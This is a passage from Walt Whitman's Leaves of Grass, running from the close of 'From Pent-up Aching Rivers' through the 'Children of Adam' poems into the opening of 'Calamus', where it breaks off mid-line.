O it, more than all + else, you delighting!) +From the hungry gnaw that eats me night and day, +From native moments, from bashful pains, singing them, +Seeking something yet unfound though I have diligently sought it + many a long year, +Singing the true song of the soul fitful at random, +Renascent with grossest Nature or among animals, +Of that, of them and what goes with them my poems informing, +Of the smell of apples and lemons, of the pairing of birds, +Of the wet of woods, of the lapping of waves, +Of the mad pushes of waves upon the land, I them chanting, +The overture lightly sounding, the strain anticipating, +The welcome nearness, the sight of the perfect body, +The swimmer swimming naked in the bath, or motionless on his back + lying and floating, +The female form approaching, I pensive, love-flesh tremulous aching, +The divine list for myself or you or for any one making, +The face, the limbs, the index from head to foot, and what it arouses, +The mystic deliria, the madness amorous, the utter abandonment, +(Hark close and still what I now whisper to you, +I love you, O you entirely possess me, +O that you and I escape from the rest and go utterly off, free and lawless, +Two hawks in the air, two fishes swimming in the sea not more + lawless than we;) +The furious storm through me careering, I passionately trembling. +The oath of the inseparableness of two together, of the woman that + loves me and whom I love more than my life, that oath swearing, +(O I willingly stake all for you, +O let me be lost if it must be so! +O you and I! what is it to us what the rest do or think? +What is all else to us? only that we enjoy each other and exhaust + each other if it must be so;) +From the master, the pilot I yield the vessel to, +The general commanding me, commanding all, from him permission taking, +From time the programme hastening, (I have loiter'd too long as it is,) +From sex, from the warp and from the woof, +From privacy, from frequent repinings alone, +From plenty of persons near and yet the right person not near, +From the soft sliding of hands over me and thrusting of fingers + through my hair and beard, +From the long sustain'd kiss upon the mouth or bosom, +From the close pressure that makes me or any man drunk, fainting + with excess, +From what the divine husband knows, from the work of fatherhood, +From exultation, victory and relief, from the bedfellow's embrace in + the night, +From the act-poems of eyes, hands, hips and bosoms, +From the cling of the trembling arm, +From the bending curve and the clinch, +From side by side the pliant coverlet off-throwing, +From the one so unwilling to have me leave, and me just as unwilling + to leave, +(Yet a moment O tender waiter, and I return,) +From the hour of shining stars and dropping dews, +From the night a moment I emerging flitting out, +Celebrate you act divine and you children prepared for, +And you stalwart loins. + + + +} I Sing the Body Electric + + 1 +I sing the body electric, +The armies of those I love engirth me and I engirth them, +They will not let me off till I go with them, respond to them, +And discorrupt them, and charge them full with the charge of the soul. + +Was it doubted that those who corrupt their own bodies conceal themselves? +And if those who defile the living are as bad as they who defile the dead? +And if the body does not do fully as much as the soul? +And if the body were not the soul, what is the soul? + + 2 +The love of the body of man or woman balks account, the body itself + balks account, +That of the male is perfect, and that of the female is perfect. + +The expression of the face balks account, +But the expression of a well-made man appears not only in his face, +It is in his limbs and joints also, it is curiously in the joints of + his hips and wrists, +It is in his walk, the carriage of his neck, the flex of his waist + and knees, dress does not hide him, +The strong sweet quality he has strikes through the cotton and broadcloth, +To see him pass conveys as much as the best poem, perhaps more, +You linger to see his back, and the back of his neck and shoulder-side. + +The sprawl and fulness of babes, the bosoms and heads of women, the + folds of their dress, their style as we pass in the street, the + contour of their shape downwards, +The swimmer naked in the swimming-bath, seen as he swims through + the transparent green-shine, or lies with his face up and rolls + silently to and from the heave of the water, +The bending forward and backward of rowers in row-boats, the + horse-man in his saddle, +Girls, mothers, house-keepers, in all their performances, +The group of laborers seated at noon-time with their open + dinner-kettles, and their wives waiting, +The female soothing a child, the farmer's daughter in the garden or + cow-yard, +The young fellow hosing corn, the sleigh-driver driving his six + horses through the crowd, +The wrestle of wrestlers, two apprentice-boys, quite grown, lusty, + good-natured, native-born, out on the vacant lot at sundown after work, +The coats and caps thrown down, the embrace of love and resistance, +The upper-hold and under-hold, the hair rumpled over and blinding the eyes; +The march of firemen in their own costumes, the play of masculine + muscle through clean-setting trowsers and waist-straps, +The slow return from the fire, the pause when the bell strikes + suddenly again, and the listening on the alert, +The natural, perfect, varied attitudes, the bent head, the curv'd + neck and the counting; +Such-like I love--I loosen myself, pass freely, am at the mother's + breast with the little child, +Swim with the swimmers, wrestle with wrestlers, march in line with + the firemen, and pause, listen, count. + + 3 +I knew a man, a common farmer, the father of five sons, +And in them the fathers of sons, and in them the fathers of sons. + +This man was a wonderful vigor, calmness, beauty of person, +The shape of his head, the pale yellow and white of his hair and + beard, the immeasurable meaning of his black eyes, the richness + and breadth of his manners, +These I used to go and visit him to see, he was wise also, +He was six feet tall, he was over eighty years old, his sons were + massive, clean, bearded, tan-faced, handsome, +They and his daughters loved him, all who saw him loved him, +They did not love him by allowance, they loved him with personal love, +He drank water only, the blood show'd like scarlet through the + clear-brown skin of his face, +He was a frequent gunner and fisher, he sail'd his boat himself, he + had a fine one presented to him by a ship-joiner, he had + fowling-pieces presented to him by men that loved him, +When he went with his five sons and many grand-sons to hunt or fish, + you would pick him out as the most beautiful and vigorous of the gang, +You would wish long and long to be with him, you would wish to sit + by him in the boat that you and he might touch each other. + + 4 +I have perceiv'd that to be with those I like is enough, +To stop in company with the rest at evening is enough, +To be surrounded by beautiful, curious, breathing, laughing flesh is enough, +To pass among them or touch any one, or rest my arm ever so lightly + round his or her neck for a moment, what is this then? +I do not ask any more delight, I swim in it as in a sea. + +There is something in staying close to men and women and looking + on them, and in the contact and odor of them, that pleases the soul well, +All things please the soul, but these please the soul well. + + 5 +This is the female form, +A divine nimbus exhales from it from head to foot, +It attracts with fierce undeniable attraction, +I am drawn by its breath as if I were no more than a helpless vapor, + all falls aside but myself and it, +Books, art, religion, time, the visible and solid earth, and what + was expected of heaven or fear'd of hell, are now consumed, +Mad filaments, ungovernable shoots play out of it, the response + likewise ungovernable, +Hair, bosom, hips, bend of legs, negligent falling hands all + diffused, mine too diffused, +Ebb stung by the flow and flow stung by the ebb, love-flesh swelling + and deliciously aching, +Limitless limpid jets of love hot and enormous, quivering jelly of + love, white-blow and delirious nice, +Bridegroom night of love working surely and softly into the prostrate dawn, +Undulating into the willing and yielding day, +Lost in the cleave of the clasping and sweet-flesh'd day. + +This the nucleus--after the child is born of woman, man is born of woman, +This the bath of birth, this the merge of small and large, and the + outlet again. + +Be not ashamed women, your privilege encloses the rest, and is the + exit of the rest, +You are the gates of the body, and you are the gates of the soul. + +The female contains all qualities and tempers them, +She is in her place and moves with perfect balance, +She is all things duly veil'd, she is both passive and active, +She is to conceive daughters as well as sons, and sons as well as daughters. + +As I see my soul reflected in Nature, +As I see through a mist, One with inexpressible completeness, + sanity, beauty, +See the bent head and arms folded over the breast, the Female I see. + + 6 +The male is not less the soul nor more, he too is in his place, +He too is all qualities, he is action and power, +The flush of the known universe is in him, +Scorn becomes him well, and appetite and defiance become him well, +The wildest largest passions, bliss that is utmost, sorrow that is + utmost become him well, pride is for him, +The full-spread pride of man is calming and excellent to the soul, +Knowledge becomes him, he likes it always, he brings every thing to + the test of himself, +Whatever the survey, whatever the sea and the sail he strikes + soundings at last only here, +(Where else does he strike soundings except here?) + +The man's body is sacred and the woman's body is sacred, +No matter who it is, it is sacred--is it the meanest one in the + laborers' gang? +Is it one of the dull-faced immigrants just landed on the wharf? +Each belongs here or anywhere just as much as the well-off, just as + much as you, +Each has his or her place in the procession. + +(All is a procession, +The universe is a procession with measured and perfect motion.) + +Do you know so much yourself that you call the meanest ignorant? +Do you suppose you have a right to a good sight, and he or she has + no right to a sight? +Do you think matter has cohered together from its diffuse float, and + the soil is on the surface, and water runs and vegetation sprouts, +For you only, and not for him and her? + + 7 +A man's body at auction, +(For before the war I often go to the slave-mart and watch the sale,) +I help the auctioneer, the sloven does not half know his business. + +Gentlemen look on this wonder, +Whatever the bids of the bidders they cannot be high enough for it, +For it the globe lay preparing quintillions of years without one + animal or plant, +For it the revolving cycles truly and steadily roll'd. + +In this head the all-baffling brain, +In it and below it the makings of heroes. + +Examine these limbs, red, black, or white, they are cunning in + tendon and nerve, +They shall be stript that you may see them. + +Exquisite senses, life-lit eyes, pluck, volition, +Flakes of breast-muscle, pliant backbone and neck, flesh not flabby, + good-sized arms and legs, +And wonders within there yet. + +Within there runs blood, +The same old blood! the same red-running blood! +There swells and jets a heart, there all passions, desires, + reachings, aspirations, +(Do you think they are not there because they are not express'd in + parlors and lecture-rooms?) + +This is not only one man, this the father of those who shall be + fathers in their turns, +In him the start of populous states and rich republics, +Of him countless immortal lives with countless embodiments and enjoyments. + +How do you know who shall come from the offspring of his offspring + through the centuries? +(Who might you find you have come from yourself, if you could trace + back through the centuries?) + + 8 +A woman's body at auction, +She too is not only herself, she is the teeming mother of mothers, +She is the bearer of them that shall grow and be mates to the mothers. + +Have you ever loved the body of a woman? +Have you ever loved the body of a man? +Do you not see that these are exactly the same to all in all nations + and times all over the earth? + +If any thing is sacred the human body is sacred, +And the glory and sweet of a man is the token of manhood untainted, +And in man or woman a clean, strong, firm-fibred body, is more + beautiful than the most beautiful face. + +Have you seen the fool that corrupted his own live body? or the fool + that corrupted her own live body? +For they do not conceal themselves, and cannot conceal themselves. + + 9 +O my body! I dare not desert the likes of you in other men and + women, nor the likes of the parts of you, +I believe the likes of you are to stand or fall with the likes of + the soul, (and that they are the soul,) +I believe the likes of you shall stand or fall with my poems, and + that they are my poems, +Man's, woman's, child, youth's, wife's, husband's, mother's, + father's, young man's, young woman's poems, +Head, neck, hair, ears, drop and tympan of the ears, +Eyes, eye-fringes, iris of the eye, eyebrows, and the waking or + sleeping of the lids, +Mouth, tongue, lips, teeth, roof of the mouth, jaws, and the jaw-hinges, +Nose, nostrils of the nose, and the partition, +Cheeks, temples, forehead, chin, throat, back of the neck, neck-slue, +Strong shoulders, manly beard, scapula, hind-shoulders, and the + ample side-round of the chest, +Upper-arm, armpit, elbow-socket, lower-arm, arm-sinews, arm-bones, +Wrist and wrist-joints, hand, palm, knuckles, thumb, forefinger, + finger-joints, finger-nails, +Broad breast-front, curling hair of the breast, breast-bone, breast-side, +Ribs, belly, backbone, joints of the backbone, +Hips, hip-sockets, hip-strength, inward and outward round, + man-balls, man-root, +Strong set of thighs, well carrying the trunk above, +Leg-fibres, knee, knee-pan, upper-leg, under-leg, +Ankles, instep, foot-ball, toes, toe-joints, the heel; +All attitudes, all the shapeliness, all the belongings of my or your + body or of any one's body, male or female, +The lung-sponges, the stomach-sac, the bowels sweet and clean, +The brain in its folds inside the skull-frame, +Sympathies, heart-valves, palate-valves, sexuality, maternity, +Womanhood, and all that is a woman, and the man that comes from woman, +The womb, the teats, nipples, breast-milk, tears, laughter, weeping, + love-looks, love-perturbations and risings, +The voice, articulation, language, whispering, shouting aloud, +Food, drink, pulse, digestion, sweat, sleep, walking, swimming, +Poise on the hips, leaping, reclining, embracing, arm-curving and tightening, +The continual changes of the flex of the mouth, and around the eyes, +The skin, the sunburnt shade, freckles, hair, +The curious sympathy one feels when feeling with the hand the naked + meat of the body, +The circling rivers the breath, and breathing it in and out, +The beauty of the waist, and thence of the hips, and thence downward + toward the knees, +The thin red jellies within you or within me, the bones and the + marrow in the bones, +The exquisite realization of health; +O I say these are not the parts and poems of the body only, but of the soul, +O I say now these are the soul! + + + +} A Woman Waits for Me + +A woman waits for me, she contains all, nothing is lacking, +Yet all were lacking if sex were lacking, or if the moisture of the + right man were lacking. + +Sex contains all, bodies, souls, +Meanings, proofs, purities, delicacies, results, promulgations, +Songs, commands, health, pride, the maternal mystery, the seminal milk, +All hopes, benefactions, bestowals, all the passions, loves, + beauties, delights of the earth, +All the governments, judges, gods, follow'd persons of the earth, +These are contain'd in sex as parts of itself and justifications of itself. + +Without shame the man I like knows and avows the deliciousness of his sex, +Without shame the woman I like knows and avows hers. + +Now I will dismiss myself from impassive women, +I will go stay with her who waits for me, and with those women that + are warm-blooded and sufficient for me, +I see that they understand me and do not deny me, +I see that they are worthy of me, I will be the robust husband of + those women. + +They are not one jot less than I am, +They are tann'd in the face by shining suns and blowing winds, +Their flesh has the old divine suppleness and strength, +They know how to swim, row, ride, wrestle, shoot, run, strike, + retreat, advance, resist, defend themselves, +They are ultimate in their own right--they are calm, clear, + well-possess'd of themselves. + +I draw you close to me, you women, +I cannot let you go, I would do you good, +I am for you, and you are for me, not only for our own sake, but for + others' sakes, +Envelop'd in you sleep greater heroes and bards, +They refuse to awake at the touch of any man but me. + +It is I, you women, I make my way, +I am stern, acrid, large, undissuadable, but I love you, +I do not hurt you any more than is necessary for you, +I pour the stuff to start sons and daughters fit for these States, I + press with slow rude muscle, +I brace myself effectually, I listen to no entreaties, +I dare not withdraw till I deposit what has so long accumulated within me. + +Through you I drain the pent-up rivers of myself, +In you I wrap a thousand onward years, +On you I graft the grafts of the best-beloved of me and America, +The drops I distil upon you shall grow fierce and athletic girls, + new artists, musicians, and singers, +The babes I beget upon you are to beget babes in their turn, +I shall demand perfect men and women out of my love-spendings, +I shall expect them to interpenetrate with others, as I and you + inter-penetrate now, +I shall count on the fruits of the gushing showers of them, as I + count on the fruits of the gushing showers I give now, +I shall look for loving crops from the birth, life, death, + immortality, I plant so lovingly now. + + + +} Spontaneous Me + +Spontaneous me, Nature, +The loving day, the mounting sun, the friend I am happy with, +The arm of my friend hanging idly over my shoulder, +The hillside whiten'd with blossoms of the mountain ash, +The same late in autumn, the hues of red, yellow, drab, purple, and + light and dark green, +The rich coverlet of the grass, animals and birds, the private + untrimm'd bank, the primitive apples, the pebble-stones, +Beautiful dripping fragments, the negligent list of one after + another as I happen to call them to me or think of them, +The real poems, (what we call poems being merely pictures,) +The poems of the privacy of the night, and of men like me, +This poem drooping shy and unseen that I always carry, and that all + men carry, +(Know once for all, avow'd on purpose, wherever are men like me, are + our lusty lurking masculine poems,) +Love-thoughts, love-juice, love-odor, love-yielding, love-climbers, + and the climbing sap, +Arms and hands of love, lips of love, phallic thumb of love, breasts + of love, bellies press'd and glued together with love, +Earth of chaste love, life that is only life after love, +The body of my love, the body of the woman I love, the body of the + man, the body of the earth, +Soft forenoon airs that blow from the south-west, +The hairy wild-bee that murmurs and hankers up and down, that gripes the + full-grown lady-flower, curves upon her with amorous firm legs, takes + his will of her, and holds himself tremulous and tight till he is + satisfied; +The wet of woods through the early hours, +Two sleepers at night lying close together as they sleep, one with + an arm slanting down across and below the waist of the other, +The smell of apples, aromas from crush'd sage-plant, mint, birch-bark, +The boy's longings, the glow and pressure as he confides to me what + he was dreaming, +The dead leaf whirling its spiral whirl and falling still and + content to the ground, +The no-form'd stings that sights, people, objects, sting me with, +The hubb'd sting of myself, stinging me as much as it ever can any + one, +The sensitive, orbic, underlapp'd brothers, that only privileged + feelers may be intimate where they are, +The curious roamer the hand roaming all over the body, the bashful + withdrawing of flesh where the fingers soothingly pause and + edge themselves, +The limpid liquid within the young man, +The vex'd corrosion so pensive and so painful, +The torment, the irritable tide that will not be at rest, +The like of the same I feel, the like of the same in others, +The young man that flushes and flushes, and the young woman that + flushes and flushes, +The young man that wakes deep at night, the hot hand seeking to + repress what would master him, +The mystic amorous night, the strange half-welcome pangs, visions, sweats, +The pulse pounding through palms and trembling encircling fingers, + the young man all color'd, red, ashamed, angry; +The souse upon me of my lover the sea, as I lie willing and naked, +The merriment of the twin babes that crawl over the grass in the + sun, the mother never turning her vigilant eyes from them, +The walnut-trunk, the walnut-husks, and the ripening or ripen'd + long-round walnuts, +The continence of vegetables, birds, animals, +The consequent meanness of me should I skulk or find myself indecent, + while birds and animals never once skulk or find themselves indecent, +The great chastity of paternity, to match the great chastity of maternity, +The oath of procreation I have sworn, my Adamic and fresh daughters, +The greed that eats me day and night with hungry gnaw, till I saturate + what shall produce boys to fill my place when I am through, +The wholesome relief, repose, content, +And this bunch pluck'd at random from myself, +It has done its work--I toss it carelessly to fall where it may. + + + +} One Hour to Madness and Joy + +One hour to madness and joy! O furious! O confine me not! +(What is this that frees me so in storms? +What do my shouts amid lightnings and raging winds mean?) +O to drink the mystic deliria deeper than any other man! +O savage and tender achings! (I bequeath them to you my children, +I tell them to you, for reasons, O bridegroom and bride.) + +O to be yielded to you whoever you are, and you to be yielded to me + in defiance of the world! +O to return to Paradise! O bashful and feminine! +O to draw you to me, to plant on you for the first time the lips of + a determin'd man. + +O the puzzle, the thrice-tied knot, the deep and dark pool, all + untied and illumin'd! +O to speed where there is space enough and air enough at last! +To be absolv'd from previous ties and conventions, I from mine and + you from yours! +To find a new unthought-of nonchalance with the best of Nature! +To have the gag remov'd from one's mouth! +To have the feeling to-day or any day I am sufficient as I am. + +O something unprov'd! something in a trance! +To escape utterly from others' anchors and holds! +To drive free! to love free! to dash reckless and dangerous! +To court destruction with taunts, with invitations! +To ascend, to leap to the heavens of the love indicated to me! +To rise thither with my inebriate soul! +To be lost if it must be so! +To feed the remainder of life with one hour of fulness and freedom! +With one brief hour of madness and joy. + + + +} Out of the Rolling Ocean the Crowd + +Out of the rolling ocean the crowd came a drop gently to me, +Whispering I love you, before long I die, +I have travel'd a long way merely to look on you to touch you, +For I could not die till I once look'd on you, +For I fear'd I might afterward lose you. + +Now we have met, we have look'd, we are safe, +Return in peace to the ocean my love, +I too am part of that ocean my love, we are not so much separated, +Behold the great rondure, the cohesion of all, how perfect! +But as for me, for you, the irresistible sea is to separate us, +As for an hour carrying us diverse, yet cannot carry us diverse forever; +Be not impatient--a little space--know you I salute the air, the + ocean and the land, +Every day at sundown for your dear sake my love. + + + +} Ages and Ages Returning at Intervals + +Ages and ages returning at intervals, +Undestroy'd, wandering immortal, +Lusty, phallic, with the potent original loins, perfectly sweet, +I, chanter of Adamic songs, +Through the new garden the West, the great cities calling, +Deliriate, thus prelude what is generated, offering these, offering myself, +Bathing myself, bathing my songs in Sex, +Offspring of my loins. + + + +} We Two, How Long We Were Fool'd + +We two, how long we were fool'd, +Now transmuted, we swiftly escape as Nature escapes, +We are Nature, long have we been absent, but now we return, +We become plants, trunks, foliage, roots, bark, +We are bedded in the ground, we are rocks, +We are oaks, we grow in the openings side by side, +We browse, we are two among the wild herds spontaneous as any, +We are two fishes swimming in the sea together, +We are what locust blossoms are, we drop scent around lanes mornings + and evenings, +We are also the coarse smut of beasts, vegetables, minerals, +We are two predatory hawks, we soar above and look down, +We are two resplendent suns, we it is who balance ourselves orbic + and stellar, we are as two comets, +We prowl fang'd and four-footed in the woods, we spring on prey, +We are two clouds forenoons and afternoons driving overhead, +We are seas mingling, we are two of those cheerful waves rolling + over each other and interwetting each other, +We are what the atmosphere is, transparent, receptive, pervious, impervious, +We are snow, rain, cold, darkness, we are each product and influence + of the globe, +We have circled and circled till we have arrived home again, we two, +We have voided all but freedom and all but our own joy. + + + +} O Hymen! O Hymenee! + +O hymen! O hymenee! why do you tantalize me thus? +O why sting me for a swift moment only? +Why can you not continue? O why do you now cease? +Is it because if you continued beyond the swift moment you would + soon certainly kill me? + + + +} I Am He That Aches with Love + +I am he that aches with amorous love; +Does the earth gravitate? does not all matter, aching, attract all matter? +So the body of me to all I meet or know. + + + +} Native Moments + +Native moments--when you come upon me--ah you are here now, +Give me now libidinous joys only, +Give me the drench of my passions, give me life coarse and rank, +To-day I go consort with Nature's darlings, to-night too, +I am for those who believe in loose delights, I share the midnight + orgies of young men, +I dance with the dancers and drink with the drinkers, +The echoes ring with our indecent calls, I pick out some low person + for my dearest friend, +He shall be lawless, rude, illiterate, he shall be one condemn'd by + others for deeds done, +I will play a part no longer, why should I exile myself from my companions? +O you shunn'd persons, I at least do not shun you, +I come forthwith in your midst, I will be your poet, +I will be more to you than to any of the rest. + + + +} Once I Pass'd Through a Populous City + +Once I pass'd through a populous city imprinting my brain for future + use with its shows, architecture, customs, traditions, +Yet now of all that city I remember only a woman I casually met + there who detain'd me for love of me, +Day by day and night by night we were together--all else has long + been forgotten by me, +I remember I say only that woman who passionately clung to me, +Again we wander, we love, we separate again, +Again she holds me by the hand, I must not go, +I see her close beside me with silent lips sad and tremulous. + + + +} I Heard You Solemn-Sweet Pipes of the Organ + +I heard you solemn-sweet pipes of the organ as last Sunday morn I + pass'd the church, +Winds of autumn, as I walk'd the woods at dusk I heard your long- + stretch'd sighs up above so mournful, +I heard the perfect Italian tenor singing at the opera, I heard the + soprano in the midst of the quartet singing; +Heart of my love! you too I heard murmuring low through one of the + wrists around my head, +Heard the pulse of you when all was still ringing little bells last + night under my ear. + + + +} Facing West from California's Shores + +Facing west from California's shores, +Inquiring, tireless, seeking what is yet unfound, +I, a child, very old, over waves, towards the house of maternity, + the land of migrations, look afar, +Look off the shores of my Western sea, the circle almost circled; +For starting westward from Hindustan, from the vales of Kashmere, +From Asia, from the north, from the God, the sage, and the hero, +From the south, from the flowery peninsulas and the spice islands, +Long having wander'd since, round the earth having wander'd, +Now I face home again, very pleas'd and joyous, +(But where is what I started for so long ago? +And why is it yet unfound?) + + + +} As Adam Early in the Morning + +As Adam early in the morning, +Walking forth from the bower refresh'd with sleep, +Behold me where I pass, hear my voice, approach, +Touch me, touch the palm of your hand to my body as I pass, +Be not afraid of my body. + + + +[BOOK V. CALAMUS] + +} In Paths Untrodden + +In paths untrodden, +In the growth by margins of pond-waters, +Escaped from the lite that exhibits itself, +From all the standards hitherto publish'd, from the pleasures, + profits, conformities, +Which too long I was offering to feed my soul, +Clear to me now standards not yet publish'd, clear to me that my soul, +That the soul of the man I speak for rejoices in comrades, +Here by myself away from the clank of the world, +Tallying and talk'd to here by tongues aromatic, +No longer abash'd, (for in this secluded spot I can respond as I + would not dare elsewhere,) +Strong upon me the life that does not exhibit itself, yet contains + all the rest, +Resolv'd to sing no songs to-day but those of manly attachment, +Projecting them along that substantial life, +Bequeathing hence types of athletic love, +Afternoon this delicious Ninth-month in my forty-first year, +I proceed for all who are or have been young men, +To tell the secret my nights and days, +To celebrate the need of comrades. + + + +} Scented Herbage of My Breast + +Scented herbage of my breast, +Leaves from you I glean, I write, to be perused best afterwards, +Tomb-leaves, body-leaves growing up above me above death, +Perennial roots, tall leaves, O the winter shall not freeze you + delicate leaves, +Every year shall you bloom again, out from where you retired you + shall emerge again; +O I do not know whether many passing by will discover you or inhale + your faint odor, but I believe a few will; +O slender leaves! O blossoms of my blood! I permit you to tell in + your own way of the heart that is under you, +O I do not know what you mean there underneath yourselves, you are + not happiness, +You are often more bitter than I can bear, you burn and sting me, +Yet you are beautiful to me you faint tinged roots, you make me + think of death, +Death is beautiful from you, (what indeed is finally beautiful + except death and love?) +O I think it is not for life I am chanting here my chant of lovers, + I think it must be for death, +For how calm, how solemn it grows to ascend to the atmosphere of lovers, +Death or life I am then indifferent, my soul declines to prefer, +(I am not sure but the high soul of lovers welcomes death most,) +Indeed O death, I think now these leaves mean precisely the same as + you mean, +Grow up taller sweet leaves that I may see! grow up out of my breast! +Spring away from the conceal'd heart there! +Do not fold yourself so in your pink-tinged roots timid leaves! +Do not remain down there so ashamed, herbage of my breast! +Come I am determin'd to unbare this broad breast of mine, I have + long enough stifled and choked; +Emblematic and capricious blades I leave you, now you serve me not, +I will say what I have to say by itself, +I will sound myself and comrades only, I will never again utter a + call only their call, +I will raise with it immortal reverberations through the States, +I will give an example to lovers to take permanent shape and will + through the States, +Through me shall the words be said to make death exhilarating, +Give me your tone therefore O death, that I may accord with it, +Give me yourself, for I see that you belong to me now above all, and + are folded inseparably together, you love and death are, +Nor will I allow you to balk me any more with what I was calling life, +For now it is convey'd to me that you are the purports essential, +That you hide in these shifting forms of life, for reasons, and that + they are mainly for you, +That you beyond them come forth to remain, the real reality, +That behind the mask of materials you patiently wait, no matter how long, +That you will one day perhaps take control of all, +That you will perhaps dissipate this entire show of appearance, +That may-be you are what it is all for, but it does not last so very long, +But you will last very long. + + + +} Whoever You Are Holding Me Now in Hand + +Whoever you are holding me now in hand, +Without one thing all will be useless, +I give you fair warning before you attempt me further, +I am not what you supposed, but far different. + +Who is he that would become my follower? +Who would sign himself a candidate for my affections? + +The way is suspicious, the result uncertain, perhaps destructive, +You would have to give up all else, I alone would expect to be your + sole and exclusive standard, +Your novitiate would even then be long and exhausting, +The whole past theory of your life and all conformity to the lives + around you would have to be abandon'd, +Therefore release me now before troubling yourself any further, let + go your hand from my shoulders, +Put me down and depart on your way. + +Or else by stealth in some wood for trial, +Or back of a rock in the open air, +(For in any roof'd room of a house I emerge not, nor in company, +And in libraries I lie as one dumb, a gawk, or unborn, or dead,) +But just possibly with you on a high hill, first watching lest any + person for miles around approach unawares, +Or possibly with you sailing at sea, or on the beach of the sea or + some quiet island, +Here to put your lips upon mine I permit you, +With the comrade's long-dwelling kiss or the new husband's kiss, +For I am the new husband and I am the comrade. + +Or if you will, thrusting me beneath your clothing, +Where I may feel the throbs of your heart or rest upon your hip, +Carry me when you go forth over land or sea; +For thus merely touching you is enough, is best, +And thus touching you would I silently sleep and be carried eternally. + +But these leaves conning you con at peril, +For these leaves and me you will not understand, +They will elude you at first and still more afterward, I will + certainly elude you. +Even while you should think you had unquestionably caught me, behold! +Already you see I have escaped from you. + +For it is not for what I have put into it that I have written this book, +Nor is it by reading it you will acquire it, +Nor do those know me best who admire me and vauntingly praise me, +Nor will the candidates for my love (unless at most a very few) + prove victorious, +Nor will my poems do good only, they will do just as much evil, + perhaps more, +For all is useless without that which you may guess at many times + and not hit, that which I hinted at; +Therefore release me and depart on your way. + + + +} For You, O Democracy + +Come, I will make the continent indissoluble, +I will make the most splendid race the sun ever shone upon, +I will make divine magnetic lands, + With the love of comrades, + With the life-long love of comrades. + +I will plant companionship thick as trees along all the rivers of America, + and along the shores of the great lakes, and all over the prairies, +I will make inseparable cities with their arms about each other's necks, + By the love of comrades, + By the manly love of comrades. + +For you these from me, O Democracy, to serve you ma femme! +For you, for you I am trilling these songs. + + + +} These I Singing in Spring + +These I singing in spring collect for lovers, +(For who but I should understand lovers and all their sorrow and joy? +And who but I should be the poet of comrades?) +Collecting I traverse the garden the world, but soon I pass the gates, +Now along the pond-side, now wading in a little, fearing not the wet, +Now by the post-and-rail fences where the old stones thrown there, + pick'd from the fields, have accumulated, +(Wild-flowers and vines and weeds come up through the stones and + partly cover them, beyond these I pass,) +Far, far in the forest, or sauntering later in summer, before I + think where I go, +Solitary, smelling the earthy smell, stopping now and then in the silence, +Alone I had thought, yet soon a troop gathers around me, +Some walk by my side and some behind, and some embrace my arms or neck, +They the spirits of dear friends dead or alive, thicker they come, a + great crowd, and I in the middle, +Collecting, dispensing, singing, there I wander with them, +Plucking something for tokens, tossing toward whoever is near me, +Here, lilac, with a branch of pine, +Here, out of my pocket, some moss which I pull'd off a live-oak in + Florida as it hung trailing down, +Here, some pinks and laurel leaves, and a handful of sage, +And here what I now draw from the water, wading in the pondside, +(O here I last saw him that tenderly loves me, and returns again + never to separate from me, +And this, O this shall henceforth be the token of comrades, this + calamus-root shall, +Interchange it youths with each other! let none render it back!) +And twigs of maple and a bunch of wild orange and chestnut, +And stems of currants and plum-blows, and the aromatic cedar, +These I compass'd around by a thick cloud of spirits, +Wandering, point to or touch as I pass, or throw them loosely from me, +Indicating to each one what he shall have, giving something to each; +But what I drew from the water by the pond-side, that I reserve, +I will give of it, but only to them that love as I myself am capable + of loving. + + + +} Not Heaving from My Ribb'd Breast Only + +Not heaving from my ribb'd breast only, +Not in sighs at night in rage dissatisfied with myself, +Not in those long-drawn, ill-supprest sighs, +Not in many an oath and promise broken, +Not in my wilful and savage soul's volition, +Not in the subtle nourishment of the air, +Not in this beating and pounding at my temples and wrists, +Not in the curious systole and diastole within which will one day cease, +Not in many a hungry wish told to the skies only, +Not in cries, laughter, defiancies, thrown from me when alone far in + the wilds, +Not in husky pantings through clinch'd teeth, +Not in sounded and resounded words, chattering words, echoes, dead words, +Not in the murmurs of my dreams while I sleep, +Nor the other murmurs of these incredible dreams of every day, +Nor in the limbs and senses of my body that take you and dismiss you + continually--not there, +Not in any or all of them O adhesiveness! O pulse of my life! +Need I that you exist and show yourself any more than in these songs. + + + +} Of the Terrible Doubt of Appearances + +Of the terrible doubt of appearances, +Of the uncertainty after all, that we may be deluded, +That may-be reliance and hope are but speculations after all, +That may-be identity beyond the grave is a beautiful fable only, +May-be the things I perceive, the animals, plants, men, hills, + shining and flowing waters, +The skies of day and night, colors, densities, forms, may-be these + are (as doubtless they are) only apparitions, and the real + something has yet to be known, +(How often they dart out of themselves as if to confound me and mock me! +How often I think neither I know, nor any man knows, aught of them,) +May-be seeming to me what they are (as doubtless they indeed but seem) + as from my present point of view, and might prove (as of course they + would) nought of what they appear, or nought anyhow, from entirely + changed points of view; +To me these and the like of these are curiously answer'd by my + lovers, my dear friends, +When he whom I love travels with me or sits a long while holding me + by the hand, +When the subtle air, the impalpable, the sense that words and reason + hold not, surround us and pervade us, +Then I am charged with untold and untellable wisdom, I am silent, I + require nothing further, +I cannot answer the question of appearances or that of identity + beyond the grave, +But I walk or sit indifferent, I am satisfied, +He ahold of my hand has completely satisfied me. + + + +} The Base of All Metaphysics + +And now gentlemen, +A word I give to remain in your memories and minds, +As base and finale too for all metaphysics. + +(So to the students the old professor, +At the close of his crowded course.) + +Having studied the new and antique, the Greek and Germanic systems, +Kant having studied and stated, Fichte and Schelling and Hegel, +Stated the lore of Plato, and Socrates greater than Plato, +And greater than Socrates sought and stated, Christ divine having + studied long, +I see reminiscent to-day those Greek and Germanic systems, +See the philosophies all, Christian churches and tenets see, +Yet underneath Socrates clearly see, and underneath Christ the divine I see, +The dear love of man for his comrade, the attraction of friend to friend, +Of the well-married husband and wife, of children and parents, +Of city for city and land for land. + + + +} Recorders Ages Hence + +Recorders ages hence, +Come, I will take you down underneath this impassive exterior, I + will tell you what to say of me, +Publish my name and hang up my picture as that of the tenderest lover, +The friend the lover's portrait, of whom his friend his lover was fondest, +Who was not proud of his songs, but of the measureless ocean of love + within him, and freely pour'd it forth, +Who often walk'd lonesome walks thinking of his dear friends, his lovers, +Who pensive away from one he lov'd often lay sleepless and + dissatisfied at night, +Who knew too well the sick, sick dread lest the one he lov'd might + secretly be indifferent to him, +Whose happiest days were far away through fields, in woods, on hills, + he and another wandering hand in hand, they twain apart from other men, +Who oft as he saunter'd the streets curv'd with his arm the shoulder + of his friend, while the arm of his friend rested upon him also. + + + +} When I Heard at the Close of the Day + +When I heard at the close of the day how my name had been receiv'd + with plaudits in the capitol, 